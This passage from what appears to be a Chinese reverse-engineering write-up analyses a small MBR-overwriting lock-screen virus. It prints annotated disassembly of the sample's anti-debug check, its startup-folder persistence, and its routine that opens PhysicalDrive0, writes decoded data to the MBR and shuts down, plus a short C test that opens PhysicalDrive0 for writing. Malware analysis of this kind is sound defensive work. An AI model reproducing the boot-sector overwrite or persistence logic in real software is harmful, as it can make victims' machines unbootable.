
这是一个解码(或者叫编码?)函数,对位于参数1位置,长度为参数2的字节序列进行了异或编码。这次调用对位于0x405000,长度为16字节的序列进行了按位取反的解码,解码后的结果:

所以0x4020B5应该是要检查调试器,继续往下看:

调用了存储在0x401000,即0x40201D位置的函数,这个函数实际上是在调用VirtualProtect函数,设置目标地址为可读可写可执行:

设置了可执行权限之后,程序调用了位于0x405000位置的代码,即检查调试器的代码。

正常来说,由于在用调试器调试,IsDebuggerPresent的返回值应该是1,但是因为我这里使用了插件,所以返回值是0。如果返回值是1,可以手动修改为0。
之后会根据返回值判断执行流程,如果检查存在调试器,流程会跳转到程序开始处,相当于进入了一个无限循环:

之后程序调用了存储了0x401004,即0x40203A位置的函数,这个函数也是在调用VirtualProtect函数,只不过修改的权限不同,设置的是可读可写,也就是取消了可执行权限:

最后程序在此对0x405000处16字节的序列进行了按位取反的编码,相当于恢复了之前的数值。
最后看一下这个函数的结构:

2.2 小总结
由于这个程序并不是很大,有了上面对几个函数的分析,现在已经可以看一下这个程序的整体流程了:

从上图可以看出,这个程序分成四个部分,第一部分就是我们上面分析的检查调试器的部分,第二部分对位于0x405010,长度为0x4C字节序列进行了按位取反的解码并执行,第三部分对位于0x4050BC,长度为0xFE字节序列进行了按位取反的编码并执行,最后一部分是退出程序。
除了最后一部分之外,其他三部份的流程都是一样的:修改权限→解码→执行→恢复编码→恢复权限。
所以接下来要做的,就是对第二、三部分解码后的代码进行分析。
2.3 第二部分代码
以下是调试得到的第二部分解码后的代码:
00405010 60 pushad
00405011 6A 04 push 0x4
00405013 68 00300000 push 0x3000
00405018 68 00040000 push 0x400
0040501D 6A 00 push 0x0
0040501F FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 分配大小为0x400字节的空间
00405025 89C6 mov esi,eax
00405027 6A 04 push 0x4
00405029 68 00300000 push 0x3000
0040502E 68 00040000 push 0x400
00405033 6A 00 push 0x0
00405035 FF15 A0304000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; 再次分配大小为0x400字节的空间
0040503B 89C7 mov edi,eax
0040503D 85FF test edi,edi ;
0040503F 74 79 je short 50fcbf3d.004050BA
00405041 85F6 test esi,esi ;
00405043 74 75 je short 50fcbf3d.004050BA
00405045 68 00020000 push 0x200
0040504A 56 push esi ;
0040504B 6A 00 push 0x0
0040504D FF15 98304000 call dword ptr ds:[<&KERNEL32.GetModuleFileNameW>] ; 获得当前程序路径
00405053 6A 01 push 0x1
00405055 6A 07 push 0x7
00405057 57 push edi ;
00405058 6A 00 push 0x0
0040505A FF15 6C314000 call dword ptr ds:[<&SHELL32.SHGetSpecialFolderPathW>] ; 获得开机启动目录路径
00405060 85C0 test eax,eax
00405062 74 3A je short 50fcbf3d.0040509E
00405064 E8 24000000 call 50fcbf3d.0040508D ; 将本程序复制到开机启动目录
00405069 5C pop esp ; 下面是垃圾代码,没什么意义
...
...
0040508D 57 push edi ;
0040508E FF15 B0304000 call dword ptr ds:[<&KERNEL32.lstrcatW>] ; kernel32.lstrcatW
00405094 6A 01 push 0x1
00405096 57 push edi ;
00405097 56 push esi ;
00405098 FF15 8C304000 call dword ptr ds:[<&KERNEL32.CopyFileW>] ; kernel32.CopyFileW
0040509E 68 00800000 push 0x8000
004050A3 6A 00 push 0x0
004050A5 56 push esi ;
004050A6 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree
004050AC 68 00800000 push 0x8000
004050B1 6A 00 push 0x0
004050B3 57 push edi ;
004050B4 FF15 A4304000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; kernel32.VirtualFree
004050BA 61 popad
004050BB C3 retn
代码很简单,已经进行了必要的注释,可以看到这段代码用于设置开机自启。
2.4 第三部分代码
以下是调试得到的第三部分解码后的代码,其中省略了垃圾代码,这个程序通过这些垃圾代码对分析进行了干扰,如果不省略,call指令会跳转到指令的中间,但是并不复杂。
004050BC 60 pushad
004050BD 6A 00 push 0x0
004050BF 6A 00 push 0x0
004050C1 6A 03 push 0x3
004050C3 6A 00 push 0x0
004050C5 6A 02 push 0x2
004050C7 68 00000040 push 0x40000000
004050CC 90 nop
004050CD E8 26000000 call 50fcbf3d.004050F8
...
...
004050F8 FF15 90304000 call dword ptr ds:[<&KERNEL32.CreateFileW>] ; 打开PhysicalDrive0
004050FE 83F8 FF cmp eax,-0x1
00405101 0F84 B1000000 je 50fcbf3d.004051B8
00405107 89C6 mov esi,eax
00405109 6A 00 push 0x0
0040510B 54 push esp
0040510C FF35 10104000 push dword ptr ds:[0x401010]
00405112 FF35 0C104000 push dword ptr ds:[0x40100C] ; 50fcbf3d.004051BA
00405118 56 push esi
00405119 68 FF000000 push 0xFF
0040511E FF35 10104000 push dword ptr ds:[0x401010]
00405124 FF35 0C104000 push dword ptr ds:[0x40100C]
0040512A E8 D3CEFFFF call <50fcbf3d.decode> ; 这里解码获得要写入MBR的数据
0040512F FF15 AC304000 call dword ptr ds:[<&KERNEL32.WriteFile>] ; 写入MBR
00405135 68 FF000000 push 0xFF
0040513A FF35 10104000 push dword ptr ds:[0x401010]
00405140 FF35 0C104000 push dword ptr ds:[0x40100C]
00405146 E8 B7CEFFFF call <50fcbf3d.decode> ; 重新编码,恢复解码前数据
0040514B 56 push esi
0040514C FF15 88304000 call dword ptr ds:[<&KERNEL32.CloseHandle>]
00405152 6A 00 push 0x0
00405154 6A 00 push 0x0
00405156 90 nop
00405157 E8 2E000000 call 50fcbf3d.0040518A
...
...
0040518A 90 nop
0040518B E8 10000000 call 50fcbf3d.004051A0
...
...
004051A0 90 nop
004051A1 E8 0A000000 call 50fcbf3d.004051B0
...
...
004051B0 6A 00 push 0x0
004051B2 FF15 70314000 call dword ptr ds:[<&SHELL32.ShellExecuteW>] ; shell32.ShellExecuteW
004051B8 61 popad
004051B9 C3 retn
首先调用CreateFileW,得到PhysicalDrive0的句柄,即MBR的位置

然后解密获得MBR写入数据,调用WriteFile写入MBR:

最后执行shutdown,关机。

2.5 MBR分析
先看一下修改MBR之后的开机界面:

写入MBR的数据见附件,这个文件我是通过PE工具里面的Bootice引导扇区管理提取出来的。
将文件导入IDA之后发现,这个代码是在是有点简单,一开始是打印字符串,就是上面开机画面中的字符串:

之后直接陷入了无限循环:

打印的字符串也可以看到:

所以这个程序是一个骗人的锁机病毒,到目前为止分析的都很顺利,可是我以为的反虚拟机呢?一开始就是以为有这个功能才决定分析一下这个小程序的,结果发现并没有这个功能,U•ェ•*U~
3 • 被骗的原因
既然发现程序没有反虚拟机的功能,我就想弄清楚为什么在另一台虚拟机上程序没有执行成功,于是在该台虚拟机上调试之。
前面的流程都是一样的,一直到达了0x4050F8,程序调用CreateFileW,试图打开PhysicalDrive0,结果失败了。

于是我写了一段代码测试了一下失败原因:
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hFile = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE,
FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hFile) {
printf("Error id: %d\n", GetLastError());
}
return 0;
}
得到结果:


万万没想到!由于我的虚拟机为了方便测试病毒都是打了快照的,所以确实可能出现打快照的时机出现问题,导致PhysicalDrive0被占用。
最后重启了虚拟机,发现程序果然可以正常执行了,(lll¬ω¬)
4 • 总结
分析下来这个样本还是蛮简单的,文件很小,结构规整,使用了简单的反调试、编码以及花指令技巧。值得注意的是,程序在解码的指令执行完毕之后,还会再次对其进行编码,这一行为也提高了分析的难度,很难从内存中提取出有效内容。